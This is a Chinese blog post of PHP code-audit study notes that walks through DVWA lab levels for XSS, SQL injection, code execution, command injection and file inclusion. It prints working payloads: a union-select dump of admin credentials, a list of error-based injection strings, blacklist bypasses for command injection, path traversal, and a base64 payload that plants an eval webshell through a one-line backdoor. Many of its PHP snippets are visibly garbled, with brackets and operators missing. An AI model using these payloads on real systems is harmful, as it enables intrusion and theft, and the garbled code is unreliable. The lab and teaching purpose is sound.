代码审计
本文最后更新于664天前,其中的信息可能已经有所发展或是发生改变。

前言

最近在看php代码审计,学习下代码审计,看了不少师傅的博客,写的很好,下面不少是借鉴师傅们的,好记性不如烂笔头,记下,以后可以方便查看。php代码审计需要比较强的代码能力和足够的耐心。

代码审计–准备

1,先放一张大图,php代码审计的几个方向,也是容易出问题的地方,没事的时候可以多看看。

代码审计入门

2,代码审计也就是拿到某网站的源码,进行审计,从而发现漏洞,但是我们审计的时候并不一定要一行一行的去看吧,这样未免也太浪费时间了,所以我们需要工具进行帮助我们。当属 “Seay源代码审计系统2.1” 优先选择(静态分析,关键字查找定位代码不错,但是误报很高)。

我们在做代码审计的时候,个人建议先要把审计的某CMS随便点点,先熟悉一下功能。代码审计前先进行黑盒测试是个不错的选择,知道哪里有问题,然后再去找出问题的代码。

要关注变量和函数,

1.可以控制的变量【一切输入都是有害的 】
2.变量到达有利用价值的函数[危险函数] 【一切进入函数的变量是有害的】
                                                                    ——来源t00ls
 代码审计–漏洞

一,漏洞类型

1.sql注入

2.文件操作[上传/写入/读取/删除]
3.文件包含
4.命令执行
5.xss
6.cookie欺骗
7.逻辑漏洞
……..等等
我们平常再进行黑盒测试时,上面的每种漏洞都有相对应的挖掘技巧,这里代码审计也是有技巧的。我们进行黑盒测试getshell的时候,往往是上面的sql注入,文件操作(上传),文件包含,命令执行相对容易getshell的。xss的话危害也很大,可以泄露内网的信息,如果的是存储型xss的话,就可以打管理员的cookie,然后进行下一步的攻击。逻辑漏洞是相对麻烦的,危害是很要命的,逻辑漏洞也分为很多种,其中一元买东西是很出彩的,这里通过修改订单进行伪造支付金额。
所以我们要认识清楚漏洞原理,积累cms常出漏洞,积累找这种漏洞的技巧。
二,漏洞分析
下面我们就进行分析一下各种漏洞形成的原因吧
1,首先我们要做好准备工作,审计环境:windows环境(Apache+MySQL+php),可以使用集成的,wampserver,phpstudy其他,我用的是wamp,这里在下载的时候不要用版本太高的,因为版本太高,会出现php语法警告以及不兼容的情况。(下一篇也就是我准备写的一个审计笔记,我平常用的wampserver,由于我的mysql的版本太高,一直安装不成功,后来又重装了一个环境(upupw),会在下一篇详细介绍)(文章里面所提到的环境和工具后面都会分享到百度云盘)。
2,准备好了就直接上手分析吗?其实有更不错的选择,那就是—-黑盒+白盒。黑盒很重要!黑盒很重要!黑盒很重要!这是重要的事情。我们在黑盒测试的时候,可以花费点时间,因为用的时间越多,我们对所要分析的CMS的功能更熟悉,代码审计的时候也就容易分析,比如看到搜索框,当然要看下有没有注入或者是能不能弹出来框框,以及留言板有没有xss。交互的数据很重要!
这里有个小技巧,本地测试的时候要把输入点打印出来。
将用户的输入数据进行var_dump,重要的是对最终的sql语句进行var_dump,这和给你省去很多力气!我们只要var_dump($sql)然后再可以去黑盒测试,[比如搜索框,用户登入,文件上传名称等等]。
3,现在可以进行漏洞分析了,下面会写到比较常见的漏洞类型以及审计不同漏洞的技巧。
XSS漏洞
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。 xss分为存储型的xss和反射型xss, 基于DOM的跨站脚本XSS。
【反射型】

反射型xss审计的时候基本的思路都一样,通过寻找可控没有过滤(或者可以绕过)的参数,通过echo等输出函数直接输出。寻找的一般思路就是寻找输出函数,再去根据函数寻找变量。一般的输出函数有这些:print , print_r , echo , printf , sprintf , die , var_dump ,var_export。

测试代码如下:

<?php
echo $_GET[‘xssf’];
?>

http://127.0.0.1/test/xssf.php?xssf=<script>alert(/orange/);</script>

代码审计入门

可能有人会有情绪不高,因为这是自己写的,玩起来没有成就感,
那我们可以用渗透平台 DVWA 呀(后面会分享到百度云盘,有了wampserver环境,直接把文件夹放/wamp/www/目录就可以),当然了,这里我们选择low的难度,因为好分析。我们输入<script>alert(“orange”)</script>,会弹出框框。如下图所示
相关链接(http://127.0.0.1/DVWA-1.9/vulnerabilities/xss_r/?name=<script>alert(“orange”)</script>#)
代码审计入门
代码审计入门

分析如下:首先看下源码

代码审计入门

<?php
// Is there any input?
if( array_key_exists"name"$_GET ) && $_GET'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' $_GET'name' ] . '</pre>';
}
?>

这里我们可以清楚的看到 if 里面的php函数array_key_exists,现在不懂没关系,百度一下你就知道。

array_key_exists(key,array)
key 必需。规定键名。
array 必需。规定数组。

array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。

输入的值也就是GET得到的值是以数组的形式,然后判断GET得到的name是不是空,如果满足 if 语句,这里就会进行 if 括号里面的,echo '<pre>Hello ' $_GET'name' ] . '</pre>'; 我们可以清楚的看到,这里直接输出传的name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。

这里我们可以再进行分析一下medium中等难度下的代码

<?php
// Is there any input?
if( array_key_exists"name"$_GET ) && $_GET'name' ] != NULL ) {
// Get input
$name str_replace'<script>'''$_GET'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>

可以看到有一点上low的代码是不一样的,那就是进行了一次过滤,

用的str_replace()函数,这个函数的功能是:以其他字符替换字符串中的一些字符(区分大小写)。

这里的作用是替换<script>,也就是把<script>替换成空格,然后再进行输出。

这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的<script>删除,这种防护机制是可以被轻松绕过的。

双写绕过:输入<sc<script>ript>alert(/xss/)</script>,成功弹框。

大小写混淆绕过:输入<ScRipt>alert(/xss/)</script>,成功弹框。这里就不截图了。

High等级也是基于黑名单思想,进行过滤。但是我们可以通过其他标签来进行XSS。

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

代码如上,这里就不一一分析了。

【存储型】

存储型xss审计和反射型xss审计时候思路差不多,不过存储型xss会在数据库“中转”一下,主要审计sql语句update ,insert更新和插入。

进行白盒审计前,我们先进行下黑盒测试

输入name的时候发现,name输不了那么多了,这是我们可以右键审查元素,可以看到限制长度为10了,其实说这句话,只是想提醒一下像我这样的小白,审查元素也是一门”学问”

name出随便输入,message处输入:<script>alert(/orange/)</script>,可以看到会弹出框框

代码审计入门

这是看下源码,我们分析下

<?php
if( isset( $_POST'btnSign' ] ) ) {
// Get input
$message trim$_POST'mtxMessage' ] );
$name    trim$_POST'txtName' ] );
// Sanitize message input
$message stripslashes$message );
$message mysql_real_escape_string$message );
// Sanitize name input
$name mysql_real_escape_string$name );
// Update database
$query  "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result mysql_query$query ) or die( '<pre>' mysql_error() . '</pre>' );
//mysql_close();
}
?>

可以看到接收POST过来的参数,trim()函数是移除字符串两侧的空白字符或其他预定义字符。

这里先进行过滤一下,把我们输入字符串两侧的空白字符和其他预定义字符给过滤掉。预定义字符包括:t,n,x0B,r以及空格。

$message = stripslashes( $message );

然后stripslashes()函数:删除反斜杠

然后message参数再经过mysql_real_escape_string()函数进行转义。

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • x00
  • n
  • r
  • x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

最后给插入数据库。这个时候我们去数据库看一下,如下图,可以看到xss代码已经插入数据库了,这也就是存储型XSS与反射性XSS的区别。

因为我们在前端看到的都是经由数据库传过来的数据,所以会弹出框框。

代码审计入门

这里我最后总结一下,顺便再分析一下。

我输入的值是:<script>alert(/orange/)</script>,首先上面的trim()函数过滤空格和预定义字符,这里对输入的值是没有影响的,所以$messsge还是<script>alert(/orange/)</script>,然后stripslashes()函数删除反斜杠,由于输入的message没有反斜杠,所以无效。$message还是<script>alert(/orange/)</script>,最后用mysql_real_escape_string()函数进行转义,上面可以清楚的看到这个函数对什么字符有影响,但是没有对$message有影响,所以这时的$_message还是<script>alert(/orange/)</script>这个时候就把$message传入数据库,也就是上图数据库中的数据。前端读取的数据的时候是从数据库中读取,因此把$message读出来,从而造成了存储型XSS漏洞。

还有medium,high,这里就不做分析了,这里解决XSS漏洞的方法就是用htmlspecialchars函数进行编码。但是要注意的是,如果htmlspecialchars函数使用不当,

攻击者就可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS。说的DOM型XSS,下面就是啦。

【DOM】

这个DVWA里面没有这种,这里还是我们自己动手丰衣足食吧。

基于DOM的跨站脚本XSS:通过访问document.URL 或者document.location执行一些客户端逻辑的javascript代码。不依赖发送给服务器的数据。

<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf(“name=”)+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system

</HTML>

代码审计入门
代码审计入门

浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。

注意:

1. 恶意程序脚本在任何时候不会嵌入到处于自然状态下的HTML页面(这和其他种类的xss不太一样)。

2.这个攻击只有在浏览器没有修改URL字符时起作用。 当url不是直接在地址栏输入,Mozilla.会自动转换在document.URL中字符<和>(转化为%3C 和 %3E),因此在就不会受到上面示例那样的攻击了,在IE6下没有转换<和>,因此他很容易受到攻击。

这里可以看到我的浏览器自动转换了字符<>,所以没有弹出框,这里我们知道原理就好,IE6下没有转换<和>,所以是可以弹框框的。

SQL注入漏洞

sql注入是我们审计比较重视的漏洞之一

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。SQL注入的产生原因:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

首先说一下普通的注入审计,可以通过$_GET,$_POST等传参追踪数据库操作,也可以通过select , delete , update,insert 数据库操作语句反追踪传参。

现在的一般的CMS都注意到了SQL注入的严重性,所以他们对于注入都进行了一定的过滤,一般他们会用到两种过滤方法。

01.对于数字型的输入,直接使用intval($_GET[id]),强制转换成整数,这种过滤是毫无办法的。
$ann_id = !empty($_REQUEST[‘ann_id’]) ? intval($_REQUEST[‘ann_id’]) : ”;
要是没有intval($_GET[id]) 那就尴尬了。
ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin)
02.有些输入是字符型的,不可能转换成数字。这个使用就使用addslashes对输入进行转义。
aaa’aa ==> aaa’aa
aaaaa ==> aaa\aa
SELECT * FROM post WHERE id=’aaa’ union select pwd from admin limit 0,1#

下面介绍下常见的SQL注入类型,最后再用DVWA进行分析。

漏洞(一)ip没过滤直接进到sql语句
函数讲解:
getenv : 这个函数是获得环境变量的函数,也可以用来获得$_SERVER数组的信息。
getenv(‘HTTP_X_FORWARDED_FOR’) –> $_SERVER[HTTP_X_FORWARDED_FOR]
当然http头还有referer 这也是可以伪装的,要是没有过滤好也会产生会注入问题
漏洞(二)宽字节注入 [对字符]
如果发现 cms是GBK 只有看看 能不能宽字节注入
Sqlmap 的unmagicquotes.py 可以进行宽字测试

解决宽字节注入办法:

mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
到这里就一般高枕无忧了…..
但是 要是画蛇添足得使用iconv就可能出现问题了
有些cms:
会加上下面语句避免乱码
iconv(‘utf-8’, ‘gbk’, $_GET[‘word’]);
将传入的word有utf-8转成gbk…..
发现錦的utf-8 编码是0xe98ca6,而的gbk 编码是0xe55c
我们输入錦’ –>%e5%5c%27【%5c就是】
在经过转移——>%e5%5c%5c%27【5c%5c就是\】这样我们就可以注入了
漏洞(三)二次注入
攻击payload首先被Web服务器上的应用存储,随后又在关键操作中被使用,这便被称为二次注入漏洞。
详细请看(http://www.cnblogs.com/ichunqiu/p/5852330.html)
漏洞(四)文件名注入
因为$_FILE,$_SERVER不受gpc影响,那么可能造成注入…….
有些cms会把name的值保存在数据库里,但又没有对name进行过滤。
乌云编号:wooyun-2010-051124
漏洞(五)报错注入

1、通过floor报错,注入语句如下:

and select from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:

and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

4、通过NAME_CONST报错,注入语句如下:

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:

and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );

小技巧:

最好可见在本地测试时候讲你的输入点打印出来
我会将用户的输入数据进行var_dump

重要的是对最终的sql语句进行var_dump,这和给你省去很多力气!我们只要var_dump($sql)然后再可以去黑盒测试。

DVWA分析

SQL Injection

选择Low级别,便于审计分析。首先我们黑盒测试一下,我们输入:

1‘or ’1‘=’1这个时候就可以判断出存在字符型注入。

1′ or 1=1 order by 2 #   ,1′ or 1=1 order by 3 #,这个时候就可以判断2个字段。下面的就不进行注入爆库了。

代码审计入门

这个时候看下源码分析一下。

<?php
if( isset( $_REQUEST'Submit' ] ) ) {
// Get input
$id $_REQUEST'id' ];
// Check database
$query  "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result mysql_query$query ) or die( '<pre>' mysql_error() . '</pre>' );
// Get results
$num mysql_numrows$result );
$i   0;
while( $i $num ) {
// Get values
$first mysql_result$result$i"first_name" );
$last  mysql_result$result$i"last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>

可以看到,接收到submit传过来的值,id没有进行任何的检查与过滤,存在明显的SQL注入。

选择medium级别

代码如下

<?php
if( isset( $_POST'Submit' ] ) ) {
// Get input
$id $_POST'id' ];
$id mysql_real_escape_string$id );
// Check database
$query  "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result mysql_query$query ) or die( '<pre>' mysql_error() . '</pre>' );
// Get results
$num mysql_numrows$result );
$i   0;
while( $i $num ) {
// Display values
$first mysql_result$result$i"first_name" );
$last  mysql_result$result$i"last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>

可以看到对接收到的参数id  只是用函数mysql_real_escape_string()转义了一下。

下列字符受影响:

  • x00
  • n
  • r
  • x1a

而且前端页面设置了下拉选择表单,希望以此来控制用户的输入。不过没多大用处,我们依然可以通过抓包改参数,提交恶意构造的查询参数。

抓包更改参数id1 or 1=1 #,查询成功,说明存在数字型注入。(由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号。),所以我们还是可以进行注入。

选择high级别

代码分析

<?php
if( isset( $_SESSION 'id' ] ) ) {
// Get input
$id $_SESSION'id' ];
// Check database
$query  "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result mysql_query$query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num mysql_numrows$result );
$i   0;
while( $i $num ) {
// Get values
$first mysql_result$result$i"first_name" );
$last  mysql_result$result$i"last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>

以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。这样的就又可以进行注入了。

SQL InjectionBlind),即SQL盲注

与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

代码分析

<?php
if( isset( $_GET'Submit' ] ) ) {
// Get input
$id $_GET'id' ];
// Check database
$getid  "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result mysql_query$getid ); // Removed 'or die' to suppress mysql errors
// Get result
$num = @mysql_numrows$result ); // The '@' character suppresses errors
if( $num ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header$_SERVER'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>

可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种

User ID exists in the database.

User ID is MISSING from the database.

因此这里是SQL盲注漏洞。

输入1’ and 1=1 #,显示存在。输入1’ and 1=2 #,显示不存在。说明存在字符型的SQL盲注。这里仅作判断存在SQL注入,不进一步攻击。

选择medium级别

代码分析

<?php

if( isset( $_POST‘Submit’ ]  ) ) {

// Get input

$id $_POST‘id’ ];

$id mysql_real_escape_string$id );

// Check database

$getid  “SELECT first_name, last_name FROM users WHERE user_id = $id;”;

$result mysql_query$getid ); // Removed ‘or die’ to suppress mysql errors

// Get results

$num = @mysql_numrows$result ); // The ‘@’ character suppresses errors

if( $num ) {

// Feedback for end user

echo ‘<pre>User ID exists in the database.</pre>’;

}

else {

// Feedback for end user

echo ‘<pre>User ID is MISSING from the database.</pre>’;

}

//mysql_close();

}

?>

可以看到对接收到的参数id  只是用函数mysql_real_escape_string()转义了一下。

下列字符受影响:

  • x00
  • n
  • r
  • x1a

而且前端页面设置了下拉选择表单,希望以此来控制用户的输入。不过没多大用处,我们依然可以通过抓包改参数,提交恶意构造的查询参数。

抓包更改参数输入1’ and 1=1 #,显示存在。输入1’ and 1=2 #,显示不存在。说明存在字符型的SQL盲注,查询成功,说明存在注入。

high级别

代码分析

<?php

if( isset( $_COOKIE‘id’ ] ) ) {

// Get input

$id $_COOKIE‘id’ ];

// Check database

$getid  “SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;”;

$result mysql_query$getid ); // Removed ‘or die’ to suppress mysql errors

// Get results

$num = @mysql_numrows$result ); // The ‘@’ character suppresses errors

if( $num ) {

// Feedback for end user

echo ‘<pre>User ID exists in the database.</pre>’;

}

else {

// Might sleep a random amount

if( rand0) == ) {

sleeprand2) );

}

// User wasn’t found, so the page wasn’t!

header$_SERVER‘SERVER_PROTOCOL’ ] . ‘ 404 Not Found’ );

// Feedback for end user

echo ‘<pre>User ID is MISSING from the database.</pre>’;

}

mysql_close();

}

?>

可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,但仍然是可以注入的。

代码执行审计

代码执行审计和sql漏洞审计很相似,sql注入是想sql语句注入在数据库中,代码执行是将可执行代码注入到webservice 。这些容易导致代码执行的函数有以下这些:eval(), asset() , preg_replace(),call_user_func(),call_user_func_array(),array_map()其中preg_replace()需要/e参数。

代码执行注入就是 在php里面有些函数中输入的字符串参数会当做PHP代码执行。

Eval函数在PHP手册里面的意思是:将输入的字符串编程PHP代码

1,先写个简单的代码测试一下(很俗套的代码)

<?php
if(isset($_GET[‘orange’]))
{
$orange=$_GET[‘orange’];
eval(“$orange=$orange”);
}
//PHP  代码审计代码执行
?>

直接接收orange参数,payload:?orange=phpinfo();

下面图可以看到成功执行。

代码审计入门

2,再看一个,测试代码如下

<?php
//PHP 代码审计代码执行注入
if(isset($_GET[‘orange’]))
{
echo $regexp = $_GET[‘orange’];
$String = ‘<php>phpinfo()</php>’;
var_dump(preg_replace(“/<php>(.*?)$regexp”,”\1″,$String));
}
?>

可以看到代码有正则preg_replace(),所以现在需要/e参数,才能进行代码执行。

正则表达式过滤后是phpinfo(),正则表达式的意思是将String中含reg的字符串的样式去除。所以现在我们可以构造payload:?orange=</php>/e   ,现在解释一下为什么,preg_replace(),/<php>(.*?)$regexp,接收的参数构造成正则表达式/<php>(.*?)</php>/e,将$String也就是<php>phpinfo()</php>过滤成phpinfo(),这样就可以成功执行了。

代码审计入门

代码审计入门

3,参数注入,测试代码如下

<?php
//PHP 代码审计代码执行注入
if(isset($_GET[‘orange’]))
{
echo $regexp = $_GET[‘orange’];
//$String = ‘<php>phpinfo()</php>’;
//var_dump(preg_replace(“/<php>(.*?)$regexp”,”\1″,$String));
preg_replace(“/orange/e”,$regexp,”i am orange”);
}
?>

分析和上面差不多。
直接构造payload就好:?orange=phpinfo();

代码审计入门

4,动态函数执行—-一个超级隐蔽的后门

测试代码

<?php $_GET[a]($_GET[b]);?>

仅用GET函数就构成了木马;利用方法payload:

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

运行上述payload,会在同目录下生成c.php文件,里面的内容是<?php @eval($_POST[c]); ?>1,生成一句话木马。

代码审计入门

 命令执行审计

代码执行说的是可执行的php脚本代码,命令执行就是可以执行系统命令(cmd)或者是应用指令(bash),这个漏洞也是因为传参过滤不严格导致的,

一般我们说的php可执行命令的函数有这些:system();exec();shell_exec();passthru();pcntl_exec();popen();proc_open();

反引号也是可以执行的,因为他调用了shell_exec这个函数。

1,测试代码:

<?php
$orange=$_GET[‘orange’];
system($orange);
?>

直接GET传参,然后system()—-执行shell命令也就是向dos发送一条指令

payload:?orange=net user   查看一下电脑的用户。

代码审计入门

2,再演示一个popen()函数
测试代码:
<?php
popen(‘net user>>C:/Users/ww/Desktop/1234.txt’,’r’);
?>

只要php文件运行,就会在上述路径生成1234.txt文件,里面的内容是net user的结果。

代码审计入门

3,反引号命令执行

测试代码:

<?php
echo `net user`;
?>

直接echo ,直接就可以执行命令

代码审计入门

DVWA分析

选择low级别,先进行一下黑盒测试。

输入8.8.8.8&&net user,可以看到成功执行两条命令

代码审计入门

下面分析一下,相关函数介绍

stristr(string,search,before_search)

stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为“false” ,如果设置为 “true”,函数将返回 search 参数第一次出现之前的字符串部分。

php_uname(mode)

这个函数会返回运行php的操作系统的相关描述,参数mode可取值a(此为默认,包含序列s n r v m里的所有模式),s (返回操作系统名称),n(返回主机名),r(返回版本名称),v(返回版本信息), m(返回机器类型)。

命令连接符

command1 && command2   先执行command1后执行command2
command1 | command2     只执行command2
command1 & command2    先执行command2后执行command1

以上三种连接符在windowslinux环境下都支持
如果程序没有进行过滤,那么我们就可以通过连接符执行多条系统命令。

可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

看下代码:

<?php

if( isset( $_POST‘Submit’ ]  ) ) {

// Get input

$target $_REQUEST‘ip’ ];

// Determine OS and execute the ping command.

if( stristrphp_uname‘s’ ), ‘Windows NT’ ) ) {

// Windows

$cmd shell_exec‘ping  ‘ $target );

}

else {

// *nix

$cmd shell_exec‘ping  -c 4 ‘ $target );

}

// Feedback for the end user

echo “<pre>{$cmd}</pre>”;

}

?>

上面代码可以清楚的看到,对输入的命令没有过滤,直接进行参数的传递。可以通过用“&&”和“;”来执行额外的命令 ping 8.8.8.8&&net user

选择medium级别,先进行黑盒测试,

发现输入:8.8.8.8&&net user,不可以用,这个时候可以去掉一个,输入:8.8.8.8&net user,是可以”成功“的。

但是这里需要注意的是”&&”与”    &”的区别:
Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2

这个时候我们看下代码

<?php

if( isset( $_POST‘Submit’ ]  ) ) {

// Get input

$target $_REQUEST‘ip’ ];

// Set blacklist

$substitutions = array(

‘&&’ => ,

‘;’  => ,

);

// Remove any of the charactars in the array (blacklist).

$target str_replacearray_keys$substitutions ), $substitutions$target );

// Determine OS and execute the ping command.

if( stristrphp_uname‘s’ ), ‘Windows NT’ ) ) {

// Windows

$cmd shell_exec‘ping  ‘ $target );

}

else {

// *nix

$cmd shell_exec‘ping  -c 4 ‘ $target );

}

// Feedback for the end user

echo “<pre>{$cmd}</pre>”;

}

?>

相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” ,”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。

这个时候就可以开始利用了

***因为被过滤的只有”&&”与”    ;”,所以”&”不会受影响。所以可以输入:8.8.8.8&net user

***由于使用的是str_replace把”&&”,”;”替换为空字符,因此可以采用以下方式绕过: 8.8.8.8;&net user

代码审计入门

这是因为”8.8.8.8&;&net user”中的” ;”会被替换为空字符,这样一来就变成了”8.8.8.8&;&net user” ,会成功执行。

选择high级别,先进行黑盒测试,结果发现,好多都被过滤掉了,没关系,看下代码

<?php

if( isset( $_POST‘Submit’ ]  ) ) {

// Get input

$target trim($_REQUEST‘ip’ ]);

// Set blacklist

$substitutions = array(

‘&’  => ,

‘;’  => ,

‘| ‘ => ,

‘-‘  => ,

‘$’  => ,

‘(‘  => ,

‘)’  => ,

‘`’  => ,

‘||’ => ,

);

// Remove any of the charactars in the array (blacklist).

$target str_replacearray_keys$substitutions ), $substitutions$target );

// Determine OS and execute the ping command.

if( stristrphp_uname‘s’ ), ‘Windows NT’ ) ) {

// Windows

$cmd shell_exec‘ping  ‘ $target );

}

else {

// *nix

$cmd shell_exec‘ping  -c 4 ‘ $target );

}

// Feedback for the end user

echo “<pre>{$cmd}</pre>”;

}

?>

相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。

漏洞利用

Command 1 | Command 2
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。
黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是    ”|” 就有用了。

输入:8.8.8.8|net user

下图成功执行。

代码审计入门

文件包含审计

PHP的文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的,只要能正常执行即可。

文件包含有这么两种:本地包含(LFI)和远程包含(RFI)。,顾名思义就能理解它们的区别在哪。

审计的时候函数都是一样的,这个四个包含函数: include() ; include_once() ; require();require_once().include 和 require 语句是相同的,除了错误处理方面:require 会生成致命错误(E_COMPILE_ERROR)并停止脚本,include 只生成警告(E_WARNING),并且脚本会继续。

先说一下本地包含,本地包含就指的是只能包含本机文件的漏洞,一般要配合上传,或者是已控的数据库来进行使用。

先写个简单的代码测试一下。

在www目录下新建两个php文件,baohan1.php,baohan2.php

baohan2.php代码

<?php
phpinfo();
?>

baohan1.php

<?php
include(“baohan2.php”);
?>

打开baohan1.php,可以看到成功执行baohan2.php的代码,成功把banhan2.php给包含了

代码审计入门

这个时候稍微修改下代码。把baohan1.php的:include(“baohan2.php”);改成include(“baohan2.txt”);

把baohan2.php改成baohan2.txt。再次访问baihan1.php,可以看到成功包含,

代码审计入门

接下来将baohan2.txt文件的扩展名分别改为jpg、rar、doc、xxx进行测试,发现都可以正确显示phpinfo信息。由此可知,只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。

再来看一下远程文件包含

当服务器的php配置中选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件。如果对文件来源没有检查的话,就容易导致任意远程代码执行。

allow_url_include在默认情况下是关闭的,如果想要实验测试的话,可以去打开,但是真实环境中建议关闭。

DVWA分析

先选择low级别,先进行黑盒测试一下,进行包含,看到file1,file2,file3,试下file4,因为file.php存在,结果包含到了,并且提示you  are  rigjt。

这个时候可以进一步操作,可以使用../让目录回到上级目录,以此来进行目标目录(通过多个../可以让目录回到根目录中然后再进入目标目录),

试一下吧,?page=../../php.ini   ,除了这么多还有其他的操作等待你去挖掘。

代码审计入门

代码审计入门

现在分析一下代码<?php

// The page we wish to display

$file $_GET‘page’ ];

?>

可以看到直接接收page参数,没有进行任何过滤操作,所以造成文件包含漏洞。

下面选择medium,先看下代码

<?php

// The page we wish to display

$file $_GET‘page’ ];

// Input validation

$file str_replace( array( “http://”“https://” ), “”$file );

$file str_replace( array( “../”“..”” ), “”$file );

?>

增加了str_replace()函数,把传入的url里面的http,https,../,..  替换成空格,但是使用str_replace函数是不安全的,因为可以使用双写绕过替换规则

比如:http和https可以用hthttp://tp:给绕过,因为只是过滤了../和..,所以可以用绝对路径进行绕过:?page=./…/./…/./../php.ini

代码审计入门

选择high级别,看下代码

<?php

// The page we wish to display

$file $_GET‘page’ ];

// Input validation

if( !fnmatch“file*”$file ) && $file != “include.php” ) {

// This isn’t the page we want!

echo “ERROR: File not found!”;

exit;

}

?>

使用了fnmatch函数:fnmatch() 函数根据指定的模式来匹配文件名或字符串。

